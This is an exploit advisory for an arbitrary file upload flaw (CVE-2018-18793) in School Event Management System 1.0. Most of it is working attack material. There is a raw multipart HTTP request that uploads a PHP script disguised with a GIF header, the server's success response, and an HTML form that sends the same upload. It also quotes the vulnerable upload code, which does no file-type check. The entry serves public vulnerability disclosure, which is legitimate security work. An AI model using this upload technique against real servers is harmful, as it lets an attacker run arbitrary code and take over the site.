89 lines
No EOL
2.8 KiB
Text
89 lines
No EOL
2.8 KiB
Text
# Exploit Title: School Event Management System 1.0 - Arbitrary File Upload
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# Dork: N/A
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# Date: 2018-10-29
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# Exploit Author: Ihsan Sencan
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# Vendor Homepage: https://www.sourcecodester.com/users/janobe
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# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
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# Version: 1.0
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# Category: Webapps
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# Tested on: WiN7_x64/KaLiLinuX_x64
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# CVE: CVE-2018-18793
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# POC:
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# 1)
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# http://localhost/[PATH]/event/controller.php?action=photos
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#
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GIFefe
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<?php
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.....
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?>
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# http://localhost/[PATH]/event/photo/[FILE]
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#
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#[PATH]/event/controller.php
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#....
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#29 function doInsert(){
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#30 if(isset($_POST['save'])){
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#31
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#32
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#33 $errofile = $_FILES['image']['error'];
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#34 $type = $_FILES['image']['type'];
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#35 $temp = $_FILES['image']['tmp_name'];
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#36 $myfile =$_FILES['image']['name'];
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#37 $location="photo/".$myfile;
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#38
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#39 @$file=$_FILES['image']['tmp_name'];
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#40 @$image= addslashes(file_get_contents($_FILES['image']['tmp_name']));
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#41 @$image_name= addslashes($_FILES['image']['name']);
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#42 @$image_size= getimagesize($_FILES['image']['tmp_name']);
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#....
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GET /[PATH]/event/controller.php?action=photos HTTP/1.1
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Host: TARGET
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
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Connection: keep-alive
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Content-Type: multipart/form-data; boundary=
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---------------------------3634372676911755021110261466
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Content-Length: 617
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-----------------------------3634372676911755021110261466
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Content-Disposition: form-data; name="EventID"
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1
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-----------------------------3634372676911755021110261466
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Content-Disposition: form-data; name="MAX_FILE_SIZE"
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1000000
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-----------------------------3634372676911755021110261466
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Content-Disposition: form-data; name="photo"; filename="phpinfo_gif.php"
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Content-Type: application/force-download
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GIFefe
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<?php
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phpinfo();
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?>
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-----------------------------3634372676911755021110261466
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Content-Disposition: form-data; name="savephoto"
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-----------------------------3634372676911755021110261466--
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HTTP/1.1 200 OK
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Date: Sun, 28 Oct 2018 17:27:54 GMT
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Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
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X-Powered-By: PHP/5.6.30
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Expires: Thu, 19 Nov 1981 08:52:00 GMT
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Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
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Pragma: no-cache
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Content-Length: 143
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Keep-Alive: timeout=5, max=100
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Connection: Keep-Alive
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Content-Type: text/html; charset=UTF-8
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# POC:
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# 2)
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<html>
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<body>
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<form action="http://localhost/[PATH]/event/controller.php?action=photos" enctype="multipart/form-data" method="post">
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<input name="EventID" id="EventID" value="1" type="hidden">
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<input name="MAX_FILE_SIZE" value="1000000" type="hidden">
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<input id="photo" name="photo" type="file">
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<button name="savephoto" type="submit">Upload Photo</button>
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</form>
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</body>
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</html> |